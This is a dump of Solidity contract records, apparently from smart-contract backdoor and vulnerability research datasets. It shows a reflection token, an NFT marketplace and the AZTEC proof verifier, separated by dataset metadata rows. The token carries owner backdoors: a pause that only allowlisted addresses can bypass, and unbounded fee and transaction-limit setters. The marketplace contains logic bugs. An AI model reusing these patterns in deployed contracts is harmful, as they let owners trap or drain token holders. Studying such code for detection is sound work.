_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x26FeBb4eAEb0FD0e1532Ca40481e07fcEA85E8Bc, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 307,575 | 10,515 |
5714a7d367ba81768194a0d5a0c0c9b1fc685e1c3e263fde5a9c7c733c0392c7
| 15,788 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x9c9dfc7d43eff21fff9183a860d391a856f0ecfe.sol
| 4,216 | 14,455 |
pragma solidity ^0.5.8;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract IERC721 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract ERC20BasicInterface {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
uint8 public decimals;
}
contract Bussiness is Ownable {
using SafeMath for uint256;
address public ceoAddress = address(0xFce92D4163AA532AA096DE8a3C4fEf9f875Bc55F);
IERC721 public erc721Address = IERC721(0x5D00d312e171Be5342067c09BaE883f9Bcb2003B);
ERC20BasicInterface public hbwalletToken = ERC20BasicInterface(0xEc7ba74789694d0d03D458965370Dc7cF2FE75Ba);
uint256 public ETHFee = 0; // 25 = 2,5 %
uint256 public Percen = 1000;
uint256 public HBWALLETExchange = 21;
// cong thuc hbFee = ETHFee / Percen * HBWALLETExchange / 2
uint256 public limitETHFee = 0;
uint256 public limitHBWALLETFee = 0;
uint256 public hightLightFee = 30000000000000000;
constructor() public {}
struct Price {
address payable tokenOwner;
uint256 price;
uint256 fee;
uint256 hbfee;
bool isHightlight;
}
uint256[] public arrayTokenIdSale;
mapping(uint256 => Price) public prices;
modifier onlyCeoAddress() {
require(msg.sender == ceoAddress);
_;
}
modifier isOwnerOf(uint256 _tokenId) {
require(erc721Address.ownerOf(_tokenId) == msg.sender);
_;
}
// Move the last element to the deleted spot.
// Delete the last element, then correct the length.
function _burnArrayTokenIdSale(uint8 index) internal {
if (index >= arrayTokenIdSale.length) return;
for (uint i = index; i<arrayTokenIdSale.length-1; i++){
arrayTokenIdSale[i] = arrayTokenIdSale[i+1];
}
delete arrayTokenIdSale[arrayTokenIdSale.length-1];
arrayTokenIdSale.length--;
}
function _burnArrayTokenIdSaleByArr(uint8[] memory arr) internal {
for(uint8 i; i<arr.length; i++){
_burnArrayTokenIdSale(i);
}
}
function ownerOf(uint256 _tokenId) public view returns (address){
return erc721Address.ownerOf(_tokenId);
}
function balanceOf() public view returns (uint256){
return address(this).balance;
}
function getApproved(uint256 _tokenId) public view returns (address){
return erc721Address.getApproved(_tokenId);
}
function setPrice(uint256 _tokenId, uint256 _ethPrice, uint256 _ethfee, uint _hbfee, bool _isHightLight) internal {
prices[_tokenId] = Price(msg.sender, _ethPrice, _ethfee, _hbfee, _isHightLight);
arrayTokenIdSale.push(_tokenId);
}
function calPriceFeeEth(uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public view returns(uint256, uint256) {
uint256 ethfee;
uint256 _hightLightFee = 0;
uint256 ethNeed;
if (_isHightLight == 1 && (prices[_tokenId].price == 0 || !prices[_tokenId].isHightlight)) {
_hightLightFee = hightLightFee;
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = _ethPrice.sub(prices[_tokenId].price).mul(ETHFee).div(Percen);
if(prices[_tokenId].price == 0) {
if (ethfee >= limitETHFee) {
ethNeed = ethfee.add(_hightLightFee);
} else {
ethNeed = limitETHFee.add(_hightLightFee);
}
}
}
return (ethNeed, _hightLightFee);
}
function setPriceFeeEth(uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public payable isOwnerOf(_tokenId) {
require(prices[_tokenId].price != _ethPrice);
uint256 ethfee;
uint256 _hightLightFee = 0;
if (_isHightLight == 1 && (prices[_tokenId].price == 0 || !prices[_tokenId].isHightlight)) {
_hightLightFee = hightLightFee;
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = _ethPrice.sub(prices[_tokenId].price).mul(ETHFee).div(Percen);
if(prices[_tokenId].price == 0) {
if (ethfee >= limitETHFee) {
require(msg.value == ethfee.add(_hightLightFee));
} else {
require(msg.value == limitETHFee.add(_hightLightFee));
ethfee = limitETHFee;
}
}
ethfee = ethfee.add(prices[_tokenId].fee);
} else ethfee = _ethPrice.mul(ETHFee).div(Percen);
setPrice(_tokenId, _ethPrice, ethfee, 0, _isHightLight == 1);
}
function calPriceFeeHBWALLET(uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public view returns (uint256){
uint fee;
uint256 ethfee;
uint _hightLightFee = 0;
uint hbNeed;
if (_isHightLight == 1 && (prices[_tokenId].price == 0 || !prices[_tokenId].isHightlight)) {
// _hightLightFee = hightLightFee * HBWALLETExchange / 2 / (10 ** 16);
_hightLightFee = hightLightFee.mul(HBWALLETExchange).div(2).div(10 ** 16);
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = _ethPrice.sub(prices[_tokenId].price).mul(ETHFee).div(Percen);
fee = ethfee.mul(HBWALLETExchange).div(2).div(10 ** 16);
// ethfee * HBWALLETExchange / 2 * (10 ** 2) / (10 ** 18)
if(prices[_tokenId].price == 0) {
if (fee >= limitHBWALLETFee) {
hbNeed = fee.add(_hightLightFee);
} else {
hbNeed = limitHBWALLETFee.add(_hightLightFee);
}
}
}
return hbNeed;
}
function setPriceFeeHBWALLET(uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public isOwnerOf(_tokenId) {
require(prices[_tokenId].price != _ethPrice);
uint fee;
uint256 ethfee;
uint _hightLightFee = 0;
if (_isHightLight == 1 && (prices[_tokenId].price == 0 || !prices[_tokenId].isHightlight)) {
_hightLightFee = hightLightFee.mul(HBWALLETExchange).div(2).div(10 ** 16);
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = _ethPrice.sub(prices[_tokenId].price).mul(ETHFee).div(Percen);
fee = ethfee.mul(HBWALLETExchange).div(2).div(10 ** 16);
// ethfee * HBWALLETExchange / 2 * (10 ** 2) / (10 ** 18)
if(prices[_tokenId].price == 0) {
if (fee >= limitHBWALLETFee) {
require(hbwalletToken.transferFrom(msg.sender, address(this), fee.add(_hightLightFee)));
} else {
require(hbwalletToken.transferFrom(msg.sender, address(this), limitHBWALLETFee.add(_hightLightFee)));
fee = limitHBWALLETFee;
}
}
fee = fee.add(prices[_tokenId].hbfee);
} else {
ethfee = _ethPrice.mul(ETHFee).div(Percen);
fee = ethfee.mul(HBWALLETExchange).div(2).div(10 ** 16);
}
setPrice(_tokenId, _ethPrice, 0, fee, _isHightLight == 1);
}
function removePrice(uint256 _tokenId) public isOwnerOf(_tokenId) returns (uint256){
if (prices[_tokenId].fee > 0) msg.sender.transfer(prices[_tokenId].fee);
else if (prices[_tokenId].hbfee > 0) hbwalletToken.transfer(msg.sender, prices[_tokenId].hbfee);
resetPrice(_tokenId);
return prices[_tokenId].price;
}
function setFee(uint256 _ethFee, uint _HBWALLETExchange, uint256 _hightLightFee) public onlyOwner returns (uint256, uint, uint256){
require(_ethFee >= 0 && _HBWALLETExchange >= 1 && _hightLightFee >= 0);
ETHFee = _ethFee;
HBWALLETExchange = _HBWALLETExchange;
hightLightFee = _hightLightFee;
return (ETHFee, HBWALLETExchange, hightLightFee);
}
function setLimitFee(uint256 _ethlimitFee, uint _hbWalletlimitFee) public onlyOwner returns (uint256, uint){
require(_ethlimitFee >= 0 && _hbWalletlimitFee >= 0);
limitETHFee = _ethlimitFee;
limitHBWALLETFee = _hbWalletlimitFee;
return (limitETHFee, limitHBWALLETFee);
}
function _withdraw(uint256 amount, uint256 _amountHB) internal {
require(address(this).balance >= amount && hbwalletToken.balanceOf(address(this)) >= _amountHB);
if(amount > 0) {
msg.sender.transfer(amount);
}
if(_amountHB > 0) {
hbwalletToken.transfer(msg.sender, _amountHB);
}
}
function withdraw(uint256 amount, uint8 _amountHB) public onlyCeoAddress {
_withdraw(amount, _amountHB);
}
function cancelBussiness() public onlyCeoAddress {
uint256[] memory arr = arrayTokenIdSale;
uint length = arrayTokenIdSale.length;
for (uint i = 0; i < length; i++) {
if (prices[arr[i]].tokenOwner == erc721Address.ownerOf(arr[i])) {
if (prices[arr[i]].fee > 0) {
uint256 eth = prices[arr[i]].fee;
if(prices[arr[i]].isHightlight) eth = eth.add(hightLightFee);
if(address(this).balance >= eth) {
prices[arr[i]].tokenOwner.transfer(eth);
}
}
else if (prices[arr[i]].hbfee > 0) {
uint hb = prices[arr[i]].hbfee;
if(prices[arr[i]].isHightlight) hb = hb.add(hightLightFee.mul(HBWALLETExchange).div(2).div(10 ** 16));
if(hbwalletToken.balanceOf(address(this)) >= hb) {
hbwalletToken.transfer(prices[arr[i]].tokenOwner, hb);
}
}
resetPrice(arr[i]);
}
}
_withdraw(address(this).balance, hbwalletToken.balanceOf(address(this)));
}
function revenue() public view returns (uint256, uint){
uint256 ethfee = 0;
uint hbfee = 0;
for (uint i = 0; i < arrayTokenIdSale.length; i++) {
if (prices[arrayTokenIdSale[i]].tokenOwner == erc721Address.ownerOf(arrayTokenIdSale[i])) {
if (prices[arrayTokenIdSale[i]].fee > 0) {
ethfee = ethfee.add(prices[arrayTokenIdSale[i]].fee);
}
else if (prices[arrayTokenIdSale[i]].hbfee > 0) {
hbfee = hbfee.add(prices[arrayTokenIdSale[i]].hbfee);
}
}
}
uint256 eth = address(this).balance.sub(ethfee);
uint hb = hbwalletToken.balanceOf(address(this)).sub(hbfee);
return (eth, hb);
}
function changeCeo(address _address) public onlyCeoAddress {
require(_address != address(0));
ceoAddress = _address;
}
function buy(uint256 tokenId) public payable {
require(getApproved(tokenId) == address(this));
require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value);
erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId);
prices[tokenId].tokenOwner.transfer(msg.value);
resetPrice(tokenId);
}
function buyWithoutCheckApproved(uint256 tokenId) public payable {
require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value);
erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId);
prices[tokenId].tokenOwner.transfer(msg.value);
resetPrice(tokenId);
}
function resetPrice(uint256 tokenId) private {
prices[tokenId] = Price(address(0), 0, 0, 0, false);
for (uint8 i = 0; i < arrayTokenIdSale.length; i++) {
if (arrayTokenIdSale[i] == tokenId) {
_burnArrayTokenIdSale(i);
}
}
}
}
| 213,532 | 10,516 |
fda6b64899010efc9b4aec833e0460f56214fc6008938648554722dffce55f42
| 30,994 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xa9f26e81f2e7f91b6b64a36f0f95493d18a92b67.sol
| 6,572 | 19,129 |
pragma solidity ^0.4.24;
// File: contracts/AZTEC/AZTEC.sol
library AZTECInterface {
function validateJoinSplit(bytes32[6][], uint, uint, bytes32[4]) external pure returns (bool) {}
}
contract AZTEC {
function() external payable {
assembly {
validateJoinSplit()
// should not get here
mstore(0x00, 404)
revert(0x00, 0x20)
function validateJoinSplit() {
mstore(0x80, 7673901602397024137095011250362199966051872585513276903826533215767972925880) // h_x
mstore(0xa0, 8489654445897228341090914135473290831551238522473825886865492707826370766375) // h_y
let notes := add(0x04, calldataload(0x04))
let m := calldataload(0x24)
let n := calldataload(notes)
let gen_order := 0x30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f0000001
let challenge := mod(calldataload(0x44), gen_order)
// validate m <= n
if gt(m, n) { mstore(0x00, 404) revert(0x00, 0x20) }
// recover k_{public} and calculate k_{public}
let kn := calldataload(sub(calldatasize, 0xc0))
// add kn and m to final hash table
mstore(0x2a0, caller)
mstore(0x2c0, kn)
mstore(0x2e0, m)
kn := mulmod(sub(gen_order, kn), challenge, gen_order) // we actually want c*k_{public}
hashCommitments(notes, n)
let b := add(0x300, mul(n, 0x80))
for { let i := 0 } lt(i, n) { i := add(i, 0x01) } {
// Get the calldata index of this note
let noteIndex := add(add(notes, 0x20), mul(i, 0xc0))
// Define variables k, a and c.
// If i <= m then
// k = kBar_i
// a = aBar_i
// c = challenge
// If i > m then we add a modification for the pairing optimization
// k = kBar_i * x_i
// a = aBar_i * x_i
// c = challenge * x_i
// Set j = i - (m + 1).
// x_0 = 1
// x_1 = keccak256(input string)
// all other x_{j} = keccak256(x_{j-1})
// The reason for doing this is that the point \sigma_i^{-cx_j} can be re-used in the pairing check
// Instead of validating e(\gamma_i, t_2) == e(\sigma_i, g_2) for all i = [m+1,\ldots,n]
// x_j is a pseudorandom variable whose entropy source is the input string, allowing for
// a sum of commitment points to be evaluated in one pairing comparison
let k
let a := calldataload(add(noteIndex, 0x20))
let c := challenge
// We don't transmit kBar_{n-1} in the proof to save space, instead we derive it
// We can recover \bar{k}_{n-1}.
// If m=n then \bar{k}_{n-1} = \sum_{i=0}^{n-1}\bar{k}_i + k_{public}
// else \bar{k}_{n-1} = \sum_{i=0}^{m-1}\bar{k}_i - \sum_{i=m}^{n-1}\bar{k}_i - k_{public}
switch eq(add(i, 0x01), n)
case 1 {
k := kn
// if all notes are input notes, invert k
if eq(m, n) {
k := sub(gen_order, k)
}
}
case 0 { k := calldataload(noteIndex) }
// Check this commitment is well formed...
validateCommitment(noteIndex, k, a)
// If i > m then this is an output note.
// Set k = kx_j, a = ax_j, c = cx_j, where j = i - (m+1)
switch gt(add(i, 0x01), m)
case 1 {
// before we update k, update kn = \sum_{i=0}^{m-1}k_i - \sum_{i=m}^{n-1}k_i
kn := addmod(kn, sub(gen_order, k), gen_order)
let x := mod(mload(0x00), gen_order)
k := mulmod(k, x, gen_order)
a := mulmod(a, x, gen_order)
c := mulmod(challenge, x, gen_order)
// calculate x_{j+1}
mstore(0x00, keccak256(0x00, 0x20))
}
case 0 {
// nothing to do here except update kn = \sum_{i=0}^{m-1}k_i - \sum_{i=m}^{n-1}k_i
kn := addmod(kn, k, gen_order)
}
// Calculate the G1 element \gamma_i^{k}h^{a}\sigma_i^{-c} = B_i
// Memory map:
// 0x20: \gamma_iX
// 0x40: \gamma_iY
// 0x60: k_i
// 0x80: hX
// 0xa0: hY
// 0xc0: a_i
// 0xe0: \sigma_iX
// 0x100: \sigma_iY
// 0x120: -c
calldatacopy(0xe0, add(noteIndex, 0x80), 0x40)
calldatacopy(0x20, add(noteIndex, 0x40), 0x40)
mstore(0x120, sub(gen_order, c))
mstore(0x60, k)
mstore(0xc0, a)
// Call bn128 scalar multiplication precompiles
// Represent point + multiplication scalar in 3 consecutive blocks of memory
// Store \sigma_i^{-c} at 0x1a0:0x200
// Store \gamma_i^{k} at 0x120:0x160
// Store h^{a} at 0x160:0x1a0
let result := staticcall(gas, 7, 0xe0, 0x60, 0x1a0, 0x40)
result := and(result, staticcall(gas, 7, 0x20, 0x60, 0x120, 0x40))
result := and(result, staticcall(gas, 7, 0x80, 0x60, 0x160, 0x40))
// Call bn128 group addition precompiles
// \gamma_i^{k} and h^{a} in memory block 0x120:0x1a0
// Store result of addition at 0x160:0x1a0
result := and(result, staticcall(gas, 6, 0x120, 0x80, 0x160, 0x40))
// \gamma_i^{k}h^{a} and \sigma^{-c} in memory block 0x160:0x1e0
// Store resulting point B at memory index b
result := and(result, staticcall(gas, 6, 0x160, 0x80, b, 0x40))
// We have \sigma^{-c} at 0x1a0:0x200
// And \sigma_{acc} at 0x1e0:0x200
// If i = m + 1 (i.e. first output note)
// then we set \gamma_{acc} and \sigma_{acc} to \gamma_i, -\sigma_i
if eq(i, m) {
mstore(0x260, mload(0x20))
mstore(0x280, mload(0x40))
mstore(0x1e0, mload(0xe0))
mstore(0x200, sub(0x30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47, mload(0x100)))
}
// If i > m + 1 (i.e. subsequent output notes)
// then we add \sigma^{-c} and \sigma_{acc} and store result at \sigma_{acc} (0x1e0:0x200)
// we then calculate \gamma^{cx} and add into \gamma_{acc}
if gt(i, m) {
mstore(0x60, c)
result := and(result, staticcall(gas, 7, 0x20, 0x60, 0x220, 0x40))
// \gamma_i^{cx} now at 0x220:0x260, \gamma_{acc} is at 0x260:0x2a0
result := and(result, staticcall(gas, 6, 0x220, 0x80, 0x260, 0x40))
// add \sigma_i^{-cx} and \sigma_{acc} into \sigma_{acc} at 0x1e0
result := and(result, staticcall(gas, 6, 0x1a0, 0x80, 0x1e0, 0x40))
}
// throw transaction if any calls to precompiled contracts failed
if iszero(result) { mstore(0x00, 400) revert(0x00, 0x20) }
b := add(b, 0x40) // increase B pointer by 2 words
}
// If the AZTEC protocol is implemented correctly then any input notes were previously outputs of
// This is not the case for any output commitments, so if (m < n) call validatePairing()
if lt(m, n) {
validatePairing(0x64)
}
// We now have the note commitments and the calculated blinding factors in a block of memory
// starting at 0x2a0, of size (b - 0x2a0).
// Hash this block to reconstruct the initial challenge and validate that they match
let expected := mod(keccak256(0x2a0, sub(b, 0x2a0)), gen_order)
if iszero(eq(expected, challenge)) {
// No! Bad! No soup for you!
mstore(0x00, 404)
revert(0x00, 0x20)
}
// Great! All done. This is a valid proof so return ```true```
mstore(0x00, 0x01)
return(0x00, 0x20)
}
function validatePairing(t2) {
let field_order := 0x30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47
let t2_x_1 := calldataload(t2)
let t2_x_2 := calldataload(add(t2, 0x20))
let t2_y_1 := calldataload(add(t2, 0x40))
let t2_y_2 := calldataload(add(t2, 0x60))
// check provided setup pubkey is not zero or g2
if or(or(or(or(or(or(or(iszero(t2_x_1),
iszero(t2_x_2)),
iszero(t2_y_1)),
iszero(t2_y_2)),
eq(t2_x_1, 0x1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed)),
eq(t2_x_2, 0x198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c2)),
eq(t2_y_1, 0x12c85ea5db8c6deb4aab71808dcb408fe3d1e7690c43d37b4ce6cc0166fa7daa)),
eq(t2_y_2, 0x90689d0585ff075ec9e99ad690c3395bc4b313370b38ef355acdadcd122975b))
{
mstore(0x00, 400)
revert(0x00, 0x20)
}
// store coords in memory
mstore(0x20, mload(0x1e0)) // sigma accumulator x
mstore(0x40, mload(0x200)) // sigma accumulator y
mstore(0x80, 0x1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed)
mstore(0x60, 0x198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c2)
mstore(0xc0, 0x12c85ea5db8c6deb4aab71808dcb408fe3d1e7690c43d37b4ce6cc0166fa7daa)
mstore(0xa0, 0x90689d0585ff075ec9e99ad690c3395bc4b313370b38ef355acdadcd122975b)
mstore(0xe0, mload(0x260)) // gamma accumulator x
mstore(0x100, mload(0x280)) // gamma accumulator y
mstore(0x140, t2_x_1)
mstore(0x120, t2_x_2)
mstore(0x180, t2_y_1)
mstore(0x160, t2_y_2)
let success := staticcall(gas, 8, 0x20, 0x180, 0x20, 0x20)
if or(iszero(success), iszero(mload(0x20))) {
mstore(0x00, 400)
revert(0x00, 0x20)
}
}
function validateCommitment(note, k, a) {
let gen_order := 0x30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f0000001
let field_order := 0x30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47
let gammaX := calldataload(add(note, 0x40))
let gammaY := calldataload(add(note, 0x60))
let sigmaX := calldataload(add(note, 0x80))
let sigmaY := calldataload(add(note, 0xa0))
if iszero(and(and(and(eq(mod(a, gen_order), a), // a is modulo generator order?
gt(a, 1) // can't be 0 or 1 either!),
and(eq(mod(k, gen_order), k), // k is modulo generator order?
gt(k, 1) // and not 0 or 1)),
and(eq(// y^2 ?= x^3 + 3
addmod(mulmod(mulmod(sigmaX, sigmaX, field_order), sigmaX, field_order), 3, field_order),
mulmod(sigmaY, sigmaY, field_order)),
eq(// y^2 ?= x^3 + 3
addmod(mulmod(mulmod(gammaX, gammaX, field_order), gammaX, field_order), 3, field_order),
mulmod(gammaY, gammaY, field_order))))) {
mstore(0x00, 400)
revert(0x00, 0x20)
}
}
function hashCommitments(notes, n) {
for { let i := 0 } lt(i, n) { i := add(i, 0x01) } {
let index := add(add(notes, mul(i, 0xc0)), 0x60)
calldatacopy(add(0x300, mul(i, 0x80)), index, 0x80)
}
mstore(0x00, keccak256(0x300, mul(n, 0x80)))
}
}
}
}
// File: contracts/AZTEC/AZTECERC20Bridge.sol
contract ERC20Interface {
